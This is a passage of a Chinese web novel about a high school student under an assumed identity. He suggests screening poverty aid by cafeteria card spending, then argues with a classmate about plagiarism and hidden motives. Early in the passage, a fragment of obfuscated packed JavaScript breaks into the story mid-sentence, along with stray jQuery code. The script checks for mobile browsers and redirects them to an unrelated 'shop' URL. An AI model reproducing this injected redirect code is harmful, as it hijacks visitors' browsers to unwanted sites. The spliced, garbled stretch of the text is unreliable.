“妈,我之前不是跟你说过吗,”伍泓指着空荡荡的店门上方,冲着母亲抱怨道:“我让你买个监控摄像头安在店里,你偏不听。要是刚才有监控,现在至于什么线索也没有吗?” 母亲听完伍泓的话,瞬间红了眼,声嘶力竭道:“买什么监控摄像头,你以为我们这店每天能挣多少?那些钱,都是留着给你上大学用的!” 伍泓摇了摇头,将视线看向别处,“那现在呢,这损失的,不也是钱吗?” 母亲无奈地闭上双眼,无助道:“哎哟,我们家这个店,平时大多只有街坊邻居来吃饭,谁能想到会被一群混混打砸啊?” 伍泓张了张嘴,正要反驳,目光又落在母亲布满老茧和污渍的手上,一时忘了开口。 母亲又走上前,用双手握住伍泓的胳膊,带着哭腔说道:“小泓,你老实告诉妈妈,你真的没在外面惹是生非吗?今年六月你就要高考了,可千万别让那些不三不四的人毁了你的前途呀!” 看着母亲紧握的双手,伍泓深吸了一口气,挺直了腰板,眼神平静了几分,“妈,你放心,我每学期都拿优秀学生奖学金,我可是全年级第一呢,平时连休息时间我都在刷题,我怎么可能去结交街头的混混呢?” 此话一出,仿佛有什么魔力,母亲的手缓缓松开,目光看向伍泓那身干净的校服,眼底的怀疑渐渐褪去。 母亲立刻转过身,朝警察说道:“对,对,我儿子是尖子生!警察同志,那群人一定是砸错店了,或者是故意找茬。小泓每天只知道读书,是绝对不会去招惹那些人的。你们可一定要查清这件事,让坏人受到惩罚啊!” 旁边负责记录的警察揉了揉眉心,合上笔记本,说道:“行了,阿姨,我们把情况记录下来了。你们先收拾一下店面吧,有进展我们会通知你们的,最近请多注意安全。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17575490|205002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 母亲还想说什么,但两名警察敬了个礼,转身离开了。 狭窄破败的店铺里,又只剩了母子二人。 马路上,一辆辆汽车缓缓驶过,偶尔传来几声鸣笛。 终于,被劈成两半的招牌再也挂不稳,“咚”一声,掉落在地上。 母亲呆滞地转过身,嘴里念着“砸错了,砸错了”,又蹲下身去,将地上的碎片慢慢捡起来。 伍泓静静地站在原地,店里的灯光照在他被汗水浸透的后背上。 天空从蓝色逐渐变成橙红,气温也凉了几分。 不知不觉,时间已来到下午。 在过去的几个小时内,汤振老是在思考有关贫困补助的事情。 下午五点半,夕阳的余晖在教学楼的外墙瓷砖上洒下一片赤金。 下午第四节课结束的铃声刚敲响,整个校园复又充满了活力,高中生们陆陆续续走出教学楼,闲聊着朝着食堂的方向狂奔,初中部的学生则开心地走出校门,还有几个手里拿着零食,吃得津津有味。 汤振没有顺着大流去食堂打饭,逆着喧闹的人潮,步履平稳地走到了教导主任的办公室门前,整理了一下思绪,抬手叩响了门。 “砰砰砰。” “请进——” 门内传来教导主任略显疲惫的声音。 汤振轻缓地推门而入。 教导主任正戴眼镜,眉头紧锁地翻看着各种文件资料,手边放着一个还冒着热气的铝制饭盒,里面的饭菜还纹丝未动。 汤振的动作瞬间变得小心翼翼,生怕打扰了办公桌前的教导主任。 “于浩磊,有什么事吗,”教导主任抬起头,脸色有些意外,问道:“不赶着去吃饭?再过一会儿,食堂只剩素菜了。” 汤振笑了笑,“呀,主任,说到‘素菜’,我正好想跟您沟通一下。” 汤振一边说,一边走到办公桌前,继续说道:“我是想跟您提一个方法,这个方法能大概率防止有人在申请贫困补助时弄虚作假,而且能减少核实信息的成本。” 教导主任翻看文件的手停了下来,她摘下眼镜,身子微微向后,靠在椅背上,脸上露出了一丝难得的微笑。 “是吗,”教导主任指了指对面的椅子,“坐下来,说说看呢。” 不知是太紧张还是真没听见,汤振并没有坐过去,他站在一旁自顾自说道:“与其看那么多贫困证明,倒不如看看食堂的打卡机。” 汤振的声音恰到好处:“不知道学校食堂饭卡的消费记录,后台监控系统能不能查?最好是能查到每个学生每周在食堂吃了几顿饭,以及每顿花了多少钱。” 教导主任的眼神微微变了变,十指交叉,颔首道:“饭卡记录系统后台确实有这个功能,只要调取数据就能查,很简单。” 汤振眼神明亮了几分,声音也跟着清亮了起来:“那就好办了,主任,只要能查到哪些学生几乎每天都在食堂吃饭,而且每顿饭花的钱都不多,那这些学生,大概率就是真正需要贫困补助的。到时候再结合一些证明资料,就更能避免弄虚作假了。” 教导主任看着汤振,一边思索,一边缓缓点头。 汤振脸上也浮现出笑意,继续道:“不仅如此,我还有个建议,把补助改成秘密发放,不要公布名单。虽然贫穷不是丢脸的事,但学生的隐私如果可以保密,那就更好。” 办公室里陷入了短暂的安静,只有墙上的挂钟“嘀嗒”作响。 教导主任静静地看着汤振,良久,她常年冷着的脸上露出了欣慰的笑意。 “看你平时看着调皮捣蛋的,脑子倒是够灵活,这是个务实的办法,待会儿我会去跟校长讨论一下。” 教导主任站起身,把桌上的文件合拢,“行了,你的建议我采纳了。赶紧去食堂吃晚饭,等着上晚自习吧。” “谢谢主任。” 汤振点点头,转身离开了办公室,看着远处的落日,眼中又多了一丝满意的神色。 十分钟后,教导主任来到了博学楼。 行至校长办公室外,教导主任轻敲了房门。 “请进。”校长喊道。 教导主任轻推开门,大步走到校长宽大的办公桌前,将刚才汤振所说的那套方案,原原本本给校长复述了一遍。 校长正端着一个紫砂茶杯,听完汇报,他揭开茶盖,吹了吹浮在水面的茶叶,眼神中闪过一丝亮光。 “确实是个好方法,”校长抿了一口茶,说道:“通过生活轨迹的记录来推测真实的家庭情况,既精准,又省去了大量人工核实的成本,可以让技术部去办。” 校长沉思片刻,将茶杯稳稳放在办公桌上,接着道:“不过,想要调取全校的消费数据并建立模型,这个过程实施下来,可能需要半个月左右的时间。要不这样吧,这学期的补助发放时间,咱们就推迟一下,改到3月10日。然后,在3月11日,正式向全校公布这学期的补助发放名单。” 闻言,教导主任的眉头又微微皱了一下。 “校长,”教导主任身子微微前倾,语气中带着商量的意味:“说到名单这事儿……既然可以通过数据精准锁定贫困生,那能不能不公布具体姓名,直接把钱打到他们卡里?很多孩子注重个人的隐私信息,如果公布出来的话,恐怕会……” 校长抿了抿嘴,抬起头,思考着说道:“你说的也有道理,但是……” 说到一半,校长摇了摇头,声音低了几分:“但是可能有点难。” 这时,校长慢慢站了起来,走到办公室另一侧的书架旁边,指了指一排排的财务审计档案,解释道:“如果只是发个奖状,咱们关起门来,怎么样都行。但这是贫困补助,涉及到大量专款资金流向。上级有规定,但凡涉及到钱,就要做到公开透明,接受全校师生的监督。” 教导主任脸上一阵犹豫,但还是低低答道:“是,校长,我明白。” 窗外,太阳已经快要彻底沉入地平线,浥鸣县的天空逐渐被一层浓重的灰蓝色笼罩。 校长没有再说话,教导主任亦默默站在原地。 “那行吧,如果没什么事了,你就先去忙。”校长轻声说道。 教导主任站在原地,目光透过办公室明亮的落地窗,眼神中既有无奈,也有释怀。 窗外,天空渐渐染上墨色,校园里,人影绰绰。 落地窗的玻璃上,倒映出教导主任转身离开办公室的背影。 38.春雨 3月11日早上,随着几场春风的吹拂,浥鸣县的残冬彻底远走。 校园道旁树上的枝桠已经抽出了成片的嫩绿新叶,空气里不再是割面生疼的干冷,添了一缕缕属于春天的湿润与泥土的芬芳气息。 早自习响铃之前,汤振和于浩宁小跑经过操场旁的红砖广场,赶到了教学楼前。 此时距离早自习上课还有10分钟,校务公告栏前,寥寥站着几个学生。 汤振忽然想起,时间已经过了半个月,今天,正好是张贴本学期贫困补助发放名单的日子。 汤振让于浩宁先回了教室,自己则走近公告栏,聚精会神地看着那张名单。 就在这时,教导主任正拿着一沓资料,从博学楼的方向走回来。 “在看什么呢,于浩磊。”教导主任喊道。 “哦,主任,早上好,”汤振礼貌地打了个招呼,“我就是路过,顺便看一看有没有什么新的公告。” 教导主任停下脚步,脸上也多了几分温和,她顺着汤振的目光看向公告栏,说道:“浩磊啊,你之前说的监控饭卡数据的方法确实非常好用,这学期的补助,昨天已经打到了贫困生的饭卡和银行账户里。” 教导主任又叹了口气,继续道:“本来按你的意思,我是不准备公布名单的,但专款资金流向需要公开透明,所以最后校长用了个折中的办法,只公布每个班具体领取贫困补助的人数,以及他们的学号。至于姓名,都没有公布,这也算是最大程度保护学生的隐私了。” 闻言,汤振点了点头,这确实是个折中的好办法。 “这样已经很好了,谢谢主任。”汤振轻声答道。 “行了,还有5分钟就上早自习了,你也赶紧回教室吧,我还要去巡视一圈。”教导主任摆了摆手,迈着雷厉风行的步子朝教学楼内部走去。 汤振目送了教导主任走远,又目光极其平静地在那张名单上扫视着。 虽为“名单”,却没有姓名,只有冷冰冰的学号。 当汤振的视线滑到“高三2班”一栏时,他的目光像被胶水粘住一般,定格在了其中一个学号上。 大脑如过电一般,汤振的记忆,回到了那个弥漫着油墨味的答题卡堆放室。 领放假通知书的那天中午,他亲手将一张高三2班的语文答题卡藏进书包,而那张答题卡的密封线内,赫然写着这个一模一样的学号。 这正是伍泓的学号,汤振记忆犹新。 看来,伍泓这学期也领到了秘密发放的贫困补助。 汤振感到欣慰,学校通过饭卡消费数据的客观硬件手段,精准地筛出真正需要补助的学生。 这时,又一个画面浮现在汤振脑海中…… 上学期的艺术大赛决赛那天,他午饭后在食堂和伍泓对质。 汤振清楚地记得,当时伍泓站在餐盘回收处,能从伍泓的餐盘里看出,他只吃了一些素菜和白米饭。 当时汤振还问过怎么只吃素菜,但伍泓说是因为不爱吃太油腻的东西。 原来如此…… 汤振心里想着:或许伍泓以前确实不愿意申请贫困补助吧,不管是出于什么原因,不过好在自己给学校提了秘密发放的建议,现在也算是帮了伍泓一把了。 “叮铃铃——” 尖锐的上课铃声粗暴地打断了汤振的思绪。 汤振转过身,朝教学楼飞奔而去,掐着点踏进了高一3班的教室。 开学半个月,早上的课,班上超过一半的学生都是睡眼惺忪的样子。 第二节是语文课,汤振打起了十二分的精神,听着语文老师带有书卷气的讲述。 窗户紧闭,只有后门开着通风,教室里仍然弥漫着一股昏昏欲睡的沉闷气氛。 “好了,”语文老师宣布道:“大家先做一下后面一页的课堂练习,然后我们再评讲。” 汤振正转着手里的签字笔,盯着黑板发呆,突然,他感觉椅子腿被后面的人轻轻踢了两下。 没有回过头,汤振只是将身体向后稍微靠了靠。 “浩磊,”后桌的姜岩把声音压得比蚊子还细,用气声在汤振背后问道:“昨天刚买的麻辣牛肉干,特带劲,你要不要来一块提提神?” 在这睡意弥漫的课堂上,零食的诱惑确实难以抵挡。 汤振放下手里的签字笔,隐蔽地将右手从课桌底下探了过去,同时身体微微向右后方转动,准备接过姜岩递来的一小袋牛肉干。 然而,就在汤振转过身的瞬间—— 教室的后门外,一张眉头紧锁的脸庞不怒自威,正直勾勾地盯着汤振和姜岩。 那不是教导主任又是谁…… 汤振的心里“咯噔”一下:自从上学期之后,已经好久没在教导主任眼皮子底下犯事儿了,没想到这学期刚开学半个月,自己又落到了教导主任手上。 内心无语的汤振迅速将右手缩了回去,脑袋僵硬地转回正前方,又抓起桌上的笔,装出一副正襟危坐的模样。 但一切已经太迟。 “咚咚。” 教室后门被教导主任的指关节叩击了两下,声音不大,却在安静的教室里显得格外惊悚。 正在做课堂练习的同学们,都齐刷刷地转过头,语文老师也看了过来。 教导主任面无表情地站在门口,目光如探照灯一般,在汤振和姜岩身上来回扫射。 “你们两个,”教导主任指了指门外,语气冷得掉渣:“拿着零食,给我出来!” 几秒钟后,汤振和姜岩老老实实站了起来,走到了教室外面。 教室外的走廊上,两人像霜打的茄子一样,贴着墙罚站。 “呼——” 一缕初春的轻风抚了过来。 原本铅云低垂的天空,毫无征兆地飘起了细密的雨丝,水滴打落在教学楼中庭的地砖上,发出一阵细碎的沙沙声。 教导主任站在汤振和姜岩面前,背对着空中的朦胧雨丝。 抬手指了指外面的雨雾,教导主任用一种抑扬顿挫的腔调,对汤振和姜岩说道:“看见了吗?这可是今年春天的第一场雨。俗话说得好,春雨贵如油。” 教导主任目光凌厉,继续道:“既然你俩在教室里坐不住,想开茶话会,那这节语文课你们就在走廊上听吧,顺便免费感受一下贵如油的春雨。都给我站直了,精神点儿!” “是,主任。” “我们错了,我们不该在课堂上吃零食……” 两人哪敢顶嘴,立刻乖巧地答应着。 教导主任眼底的火气稍微消散了一些,冷哼一声,将双手重新背回身后。 外面的雨点愈发密集,淅淅沥沥,如同春日的协奏曲。 “别以为这就完了,”教导主任看着两人,补充道:“雨下成这样,今天大课间30分钟的课间操估计是要取消了,你俩大课间也在这儿站着。” 说完,教导主任便准备离开,但又叮嘱道:“中途要是想去厕所,就快去快回。不许偷偷溜走,老老实实站到下节课上课。” “听清楚了,主任。”汤振和姜岩挺起胸膛,异口同声地答道。 半分钟后,看着教导主任的背影消失在远处的走廊转角,汤振才长长地舒了一口气,无奈地将后脑勺轻轻撞在冰冷的墙壁上。 春雨还在下,如丝如线,泥土的清新也被卷起,弥漫在空气中。 汤振侧着头,和身旁姜岩的目光对视上,两人忍俊不禁,低头浅笑。 望向屋檐下不断滴落的雨水,汤振的神色忽然轻松了几分。 用着虚假的身份,感受着属于普通高中生的小插曲,也是别有一番滋味的吧? 教室里,传出语文老师温文尔雅的声音:“同学们,你们能说出多少描写春雨的古诗词呀?” “好雨知时节,当春乃发生。” “小楼一夜听春雨,深巷明朝卖杏花。” “沾衣欲湿杏花雨,吹面不寒杨柳风。” …… 汤振笑了笑,上前一步,左手扶着栏杆,右手伸出屋檐,感受着细腻的春雨滴落在手上的一缕温柔。 教室里,同学们的回答此起彼伏,一句又一句的诗词,带来别样的韵味。 汤振抬头看向天空,自言自语道:“雨来细细复疏疏,纵不能多不肯无。似妒诗人山入眼,千峰故隔一帘珠……” 微风已不复凉意,远处的树枝随风摇曳,晃动着一抹翠绿。 第二节课的下课铃声终于敲响。 长达30分钟的大课间,让校园里渐渐热闹了起来。 由于外面的雨不仅没停,反而有越下越密的趋势,学校广播里,课间操的预备音乐一直没有奏响。 走廊上,逐渐涌满了出来透气和往洗手间赶去的学生,汤振和姜岩依旧苦哈哈地贴着墙根罚站。 就在这时,汤振目光所及之处,一个身姿挺拔、穿着干净整洁校服的身影,穿过人群,径直朝高一3班门口走来。 ——是伍泓。 伍泓的脚步停在距离汤振两步远的地方,那张平日里温文尔雅的脸上,此刻却没有半点笑意,只冷冷看着汤振,朝楼梯间的方向使了个眼神,随后一言不发,转过身便朝楼梯间走了过去。 汤振微微挑了挑眉,跟旁边的姜岩打了个手势,步履沉重地朝伍泓的方向跟了过去。 楼梯间的拐角处平时很少有人来,光线有些昏暗,汤振跟着伍泓,一直走到了顶楼的楼道。 通往楼顶的门上着锁,旁边的墙壁上斑斑驳驳,一些墙皮已经脱落。 汤振刚一站定脚步,伍泓便转过身来,眼神里透着一股毫不掩饰的冷漠。 伍泓单手抓着楼梯的铁栏杆,朝汤振开口道:“我听说,这学期的贫困补助没有走常规流程,改成了按饭卡的消费记录秘密打款……说是你给教导主任提的建议?” 听到这话,汤振心里的第一反应是有些意外。 没想到自己私底下跟教导主任提的建议,竟然也会被别人打听了去,想必是老师之间互说起此事,慢慢传开的。 “哦,不用客气,”汤振的语气自然而放松:“举手之劳而已,我这么做,也是为了防止有人在申请表上弄虚作假。” “谁要跟你客气了?” 伍泓的声音提高了八度,在空旷的楼梯间里激起一阵刺耳的回音,他幽然的目光盯着汤振,眼底满是烦躁。 “于浩磊,你能不能……不要多管闲事,”伍泓厉声道:“你上学期不是说我为人阴险吗?不是说我比赛时用尽手段陷害江悦吗?那你现在又跳出来,跑去教导主任那里帮我争取贫困补助,你是不是人格分裂?” 汤振脸上那一丝轻松的神色,瞬间消失得一干二净。 难道伍泓内心已经敏感到这个程度了么?即使只是公布学号也会让他觉得“丢人”么?汤振没有细想,如果伍泓真是这种心态,那可谓是荒诞至极! 周围的空气冷了下来,汤振锐利的目光看向伍泓,清了清嗓子道:“既然你不是来感谢我的,那我也跟你打开天窗说亮话。” 汤振脸色暗沉了下来,声音冷得像外面的雨:“我之所以给教导主任提这个建议,根本不是因为你一个人,你以为你有多大的面子啊?我只不过是想帮助那些真正需要贫困补助的人,防止有人弄虚作假,把贫困补助当作逐利的目标。” “呵呵,”伍泓松开抓着栏杆的手,嘲弄地冷笑了道:“就算你这次是真的想帮我,那也是因为你想找个借口补偿我吧?毕竟上学期,要不是你举报我作文抄袭,我根本不会错失那笔奖学金。是你害我名誉扫地,现在弄个破补助,就想填平你内心的愧疚?” “一码归一码,”汤振的眼神没有任何波动,打断道:“你抄袭我的作文,那是赤裸裸的作弊和剽窃。把属于我的东西还给我,这叫天经地义。我对你,没有半点愧疚可言。” 伍泓的脸色忽然胀红,声音又恢复了高亢:“是你自己高一暑假一声不吭地失踪了,整整一年多,杳无音信。谁能想到你还会再回来?你竟然还能回来!” 这句话像是一记重锤,狠狠砸在了汤振的脑仁上,他的手指在衣兜里攥紧,指甲几乎要陷进肉里。 汤振强硬地往前逼近了一步,带着更大的气场反问道:“哪怕我回不来,你抄袭别人的心血就是对的吗?” “那你牵连我们班的语文老师干嘛,”伍泓梗着脖子怒吼:“她也是为了班级的荣誉。” “她是为了自己的职称!我知道你舍不得罗老师,因为她一直很偏袒你。但作为老师,教书育人才是她的第一职责,”汤振的声音字字有力:“罗老师为了一己私利,让参赛学生抄袭别人的作文,这更是错得离谱,这算是上梁不正下梁歪么?在这件事上,我没有冤枉任何一个人。” 伍泓一时没再反驳,他胸口剧烈地起伏着,双手死死地捏成拳头,眼球也因极度愤怒和泛起几根血丝,像一头困兽般瞪着汤振。 看着对方这副模样,汤振眼底的鄙夷更甚,既然脸皮已经撕破,那就来个彻底罢了。 汤振又开口道:“你不是一直标榜自己完美无缺吗?你上学期说,高一的时候跟我关系好得……像亲兄弟,是吗?还是说你只是趁我想不起来那些事情,故意打造那种人设骗我的?” 不等伍泓回答,汤振又道:“亏我之前还傻兮兮地信了你是真心给我道歉的,我就不该信你的人品。你嘴上说,你看出来了申雅丽喜欢我,所以你绝不抢暗恋兄弟的女人,但实际上呢,运动会的训练期间,你明知道教导主任会去巡视,还故意让申雅丽给我送润喉糖,让教导主任误会,然后警告我俩不许走得太近,不是吗?” 伍泓的脸在一瞬间变得绯红,眼神也不住地躲闪,看向外面的细雨。 “你,你想象力太丰富,”伍泓吼破了音:“那只是碰巧被教导主任误会了而已,谁让你们俩在操场上表现得那么亲密的……” “那艺术大赛的时候呢,我也没冤枉你吧?” 汤振根本想给伍泓喘息的机会,继续道: “你两次想要把江悦赶出比赛,全都是为了在申雅丽面前出风头,讨好她,是吧?你明明就是暗恋她,嘴上还要装出一 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然而,他刚一拐出走廊,就看到一个熟悉的身影正像一尊铁塔一样,背着手站在教室后门口。 刚回到教室外,汤振又看到了教导主任。 教导主任转过头,看着从几十米外的楼梯间慢悠悠晃过来的汤振,脸色比上一节课的时候还要严肃。 “于浩磊,”教导主任指了指汤振上节课罚站的位置,问道:“你不在这里好好罚站,跑哪去了?” 汤振心里暗叫一声不妙,立刻换上了一副乖巧的表情,笑道:“主任,我上节课水喝多了,去撒了个尿,您不是说允许我们中途去厕所吗?” 教导主任听完,侧过头,刻意看了一眼距离高一3班不远的地方,那边的墙上赫然挂着“洗手间”的牌子。 接着,教导主任用一种居高临下的眼神看向汤振,掷地有声:“往你们教室左边走几步路就是厕所,你就撒个尿而已,还要从走廊那边的楼梯间走过来?” 教导主任伸手指向刚才汤振回来的方向,声音在走廊里清晰可闻:“怎么,你撒尿也要精心挑选洗手间吗?” 汤振一时脑子混乱,想不出任何辩解的话语。 “别在这儿给我丢人现眼了,”教导主任没好气地瞪了汤振一眼,伸手指向走廊左边,“还有20分钟才上课,你现在,立刻去我办公室门口继续罚站,就在我眼皮子底下站着,一直站到下节课上课铃响!” “是,主任……” 在周围几个看热闹的同学的憋笑声中,汤振无奈地叹了口气。 春雨一滴滴敲打在栏杆上,溅起一朵朵细微的水花。 汤振低着头,在雨声的伴奏下,朝教导主任的办公室走去。 虽然距离第三节课的上课时间还早,但教导主任的办公室外面却一如既往地安静,因为没有学生敢在这里嬉笑打闹。 汤振老老实实走到办公室门边,双手自然下垂,规规矩矩地贴墙站着,盯着对面墙上张贴的名人名言发呆。 几秒后,走廊拐角处传来了一阵轻快的脚步声。 汤振看向楼梯间,只见申雅丽拿着一摞《高考报名表》,朝教导主任办公室这边走过来。 当申雅丽看到杵在门口的汤振时,明显愣了一下,脱口而出:“于浩磊?” 申雅丽放慢了脚步,压低声音,忍俊不禁地问道:“你怎么在这儿站着,又惹主任生气了吗?” “就是……我上课偷吃零食,主任在后门抓了个现行。” 汤振自嘲地耸了耸肩,随后目光隐蔽地扫了一眼紧闭的办公室房门,身子微微向申雅丽那边倾斜了半分。 “哦,对了,跟你说个事儿,”汤振收起了嬉皮笑脸的模样,声音压得极低:“刚才伍泓来找过我了,就因为我提议秘密发放补助,他跟我吵了一架。” 申雅丽微微皱了皱眉,“他应该领到补助了吧?开学那天他家饭馆被砸,按理说这笔钱解决了他的燃眉之急,他干嘛要跟你吵架?” “我还是怀疑,他就是不想让别人知道他家里贫困,其他人都没像他这样……” 申雅丽无奈地摇了摇头,没有接过话茬。 汤振眼神沉了沉,话锋一转,问道:“伍泓在老师的眼里,算是个完美的好学生吗?” 闻言,申雅丽用力点了点头,低声道:“那当然,他可是咱们年级老师的掌上明珠呢!” 汤振眉头一皱,又问:“但是……你觉得伍泓会不会因为缺钱,利用自己的成绩帮人作弊?” 办公室外面的空气仿佛都停滞了,申雅丽脸上那一丝轻松的神色彻底消失。 过了几秒,申雅丽还是停下了准备敲门的手,侧过头,用一种不可思议的眼神看着汤振。 “你怎么会这么问呢,”申雅丽的声音变得有些发紧:“浩磊,这种话可不能乱说,你有什么证据吗?” “我当然不是胡言乱语。” 汤振深吸了一口气,一边回忆,一边说道: “来学校拿放假通知书的那天,我见过伍泓上学期期末考试的语文答题卡,他的字迹,我在我们班同学初三的物理答题卡上见过。一模一样的字迹,分毫不差!” 听得这话,申雅丽的眼神逐渐涣散,拿着报名表的手也悬在半空。 汤振仔细观察着申雅丽的变化,她并没有像预料之中那样震惊。 申雅丽的脸色严肃认真,抬眼盯着汤振,胸口轻微起伏了一下,一字一句问道: “于浩磊,你跟我说句实话。高一发生过的事情,你是装不知道,还是真的忘了?” 汤振只觉得双臂的汗毛都竖了起来,但脸上强行保持着一种迷茫挣扎的神色。 “我想不起来,”汤振抬手揉了揉太阳穴,眉头紧锁,答道:“我是真的忘了,高一的很多记忆都是大段大段的空白。” 申雅丽那具有压迫感的目光,在汤振脸上足足停留了五秒,才渐渐缓和了脸上僵硬的神色。 随后,申雅丽警惕地看了看四周,才再次看向汤振,声音压得极低:“既然你忘了,那我就告诉你一次。” 汤振懵懵懂懂地点了点头。 申雅丽低声道:“隔墙有耳,我们先找个安静的地方说。” 闻言,汤振眼神无助地看了看教导主任办公室的门,“但我在罚站……” 申雅丽直起身,下巴朝着办公室扬了扬,嗔怪道:“进去给教导主任好好认个错不就行了。” 叮嘱完后,申雅丽深吸了一口气,脸上切回了平时温和的表情,抬起右手,指关节在门上轻敲了三下。 “主任,我来交高三2班的高考报名表了。”申雅丽语气恢复了平常。 “请进。”里面传来教导主任的声音。 推开门,申雅丽头也不回地走了进去,再缓缓把门关上。 走廊里,又只剩下外面的雨声和汤振的呼吸声。 静静站在原地,汤振看着眼前紧闭的门,脑海中不断排练着待会儿给教导主任道歉的场景。 39.语惊心 终于,汤振深吸一口气,鼓起勇气推开了教导主任办公室的门。 迅速调整了一下面部肌肉,汤振脸上的深沉与锋芒尽数散去,取而代之的,是一副带着几分窘迫和心虚的表情。 教导主任正戴着眼镜,对着电脑屏幕用力地敲击着键盘。 申雅丽则是站在一旁,将高三2班的高考报名表放了下来,便递给汤振一个眼神,随后朝门外走去。 听到汤振的声音,教导主任抬起头,两道眉毛立刻拧在了一起。 “怎么了,”教导主任的声音里透着严厉:“外面的春雨这么快就感受完了?我让你罚站到下节课上课,进来做什么?” 汤振硬着头皮走到办公桌前,垂下眼眸,双手局促地搓了搓校服的外套下摆,像是在演一个爱犯错又脸皮薄的调皮学生,演技可谓是入木三分。 “主任,我真的知道错了,”汤振的声音放得极软,声音里满是逼真的懊悔:“我不该在语文课上吃零食,更不该在罚站的时候,还偷偷跑去楼梯间躲懒。主任,您罚得对,我都深刻反省过了!” 汤振顿了顿,抬起头,露出一副难堪的苦瓜脸,“主任,您就饶了我这一回,放我回教室吧!这大课间的,走廊上来来往往全是去接水和上厕所的同学,大家走过去都跟看猴子一样看着我,我这么大个人站在办公室门口,实在是太丢脸了。” 说完,汤振用手搓着脸,两颊不一会儿就变得绯红。 教导主任盯着汤振看了一会儿,重重地哼了一声,停下了敲击键盘的手。 “现在知道丢脸了,上课吃牛肉干的时候怎么不觉得丢脸?” 教导主任拿起申雅丽刚才放在桌子上的报名表,疲惫地伸手揉了揉眉心。 “知道这是什么吗?”教导主任指着那叠文件问汤振。 汤振把头点得极快,答道:“知道呀,这是高考的报名表。” 教导主任点了点头,“是啊,现在才三月中旬,就要提交六月底的高考报名表了。高考的重要性,你清楚吗?” “清楚,主任。”汤振认真答道。 “你要是当初没失踪,现在这堆报名表里面就该有你的名字。既然你现在才高一,就该好好地再把基础打一遍,而不是整天还像个小学生一样,和同学嬉笑打闹。” “是,主任。”汤振连连点头。 教导主任继续道:“想想你们自己,也想想你们班主任吧,她都已经怀孕七个多月了,每天挺着那么大的肚子,还要起早贪黑给你们盯早读,守晚自习,防着你们上课捣乱。你们知不知道,她怀孕六个月就可以请假,但她没请,因为她担心换了老师,你们会不习惯。” 汤振的身体轻微地僵了一下,神色也变得肃然。 “是,主任,您说得很对,是我自己学习意识太淡薄了,没有静下心来。”汤振站直了身子,没有任何辩解。 教导主任叹了口气,有些烦躁地摆了摆手。 “行了行了,别在这儿杵着了,”教导主任重新敲起了电脑键盘,“今天这罚站就到此结束吧。回教室之后,你也记得叫你们班几个爱调皮捣蛋的同学都听话点,别整天惹是生非的,让你们班主任少操点心。” “是,谢谢主任。” 汤振鞠了个躬,转身大步退出了办公室,顺手轻轻带上了那扇厚重的大门。 走廊里,大课间已经接近尾声,还有10分钟便要敲响第三节课的上课铃。 汤振看了一眼楼道外依旧淅淅沥沥的春雨,申雅丽的身影又出现在楼梯拐角处。 申雅丽笑了笑,“你本事还是挺大嘛,这就打动教导主任啦?” 汤振抿了抿嘴,点头示意,语气轻松:“是啊,教导主任其实还是刀子嘴豆腐心。” 说到一半,汤振看了看楼道,继续道:“你刚才不是说要找个安静的地方说事情吗,去楼顶怎么样?” 外面的雨不仅没停,反而连成了细密的雨帘,将整个校园笼罩在一片灰蒙蒙的水汽之中。 申雅丽抬起头,看了一眼阴沉沉的天空,随后指了指楼道上方。 “去天台吧,”申雅丽压低了声音说道:“那里有一些装饰结构,刚好可以避雨,平时很少有人上去,是个说话的好地方。而且,更重要的是……” “是什么?” 申雅丽卖了个关子,“等到了天台,你就知道了。” 汤振点了点头,跟在申雅丽的身后,顺着略显昏暗的楼梯,一路往上。 推开沉重的铁门,一股夹杂着泥土和青草的春风扑面而来。 虽然外面风声猎猎,但这片十几平米的空间却滴雨未洒。 申雅丽站在水泥台阶上,转过头,用复杂的眼神看向汤振。 “于浩磊,你仔细看看周围,”申雅丽的声音在雨声掩盖下,听着有些缥缈:“你现在有没有想起来,这里是什么地方?” 汤振顺着她的目光环顾了一圈,四周到处都是斑驳的水泥墙和杂乱的管道,抬手挠了挠脑袋,眼神里浮现出一层茫然与空洞。 “我确实想不起来了,”汤振苦笑着摇了摇头,“我脑子里关于高一的大部分记忆,就像是被这场春雨洗过一样,什么都没留下。” 申雅丽听完,轻轻叹了口气,把目光收了回来。 “我高一的时候,每天晚饭过后,都会趁着晚自习上课前20分钟的时间,偷偷溜到这里休息,顺便用随身听在这里练习外语听力。”申雅丽拢了拢校服衣领,目光投向远处的雨幕,像是在回忆着高一的时光。 “随身听,”汤振疑惑地问道:“我记得学校对电子设备查得很严啊,一旦抓到不是直接没收吗?叫家长也是有可能的。” “现在的确是这样,”申雅丽双手一摊,平静道:“但那时我们还在读高一,教导主任不像现在这么严格,大家都说她是因为学生出事了才变得这么严格的。” 汤振点了点头,轻笑道:“那既然当时管得不严格,你直接在教室里听不就行啦?偷偷跑到天台,未免有些麻烦。” 申雅丽忍俊不禁,笑道:“虽然不严格,那我总不能当着老师和同学的面,直接在教室里戴着耳机听吧?所以,我就选择每天傍晚躲到天台来,一个人安安静静地练习。” 汤振心里理解,“嗯”了一声,身体微微往后仰,靠在冰冷的水泥柱上。 外面又起了一阵风,将雨雾吹散了些许。 汤振看向远处逐渐清晰的楼房轮廓,沉醉地说道:“傍晚的时候,站在这天台上看的风景,一定很美好。” “风景是很美好,”申雅丽话锋一转:“但是有天傍晚,我却遇到了一件不太美好的事。” 汤振的眉心似乎轻微地跳了一下,露出一副好奇的眼神,顺势问道:“是遇到谁了吗?” 申雅丽转过身,直勾勾地盯着汤振的眼睛,一字一顿,抛出了那个名字: “遇到了——你,还有伍泓!” 申雅丽深吸了一口气,再次确认道:“于浩磊,你真的……什么都想不起来了吗?” 面对这样的注视,汤振的身体仍如同磐石般沉稳,他笃定地摇了摇头,语气真诚而无奈:“对不起……我没骗你,我确实不记得了。” 申雅丽像是放弃了试探的样子,她目光微微低垂,喃喃自语道:“那天傍晚,我刚好走到顶楼,还没来得及推开这扇铁门,就听到天台上传来激烈的争吵声。” 申雅丽再次看向汤振的眼睛,继续道:“当时,是你,还有伍泓,你们在吵架。” 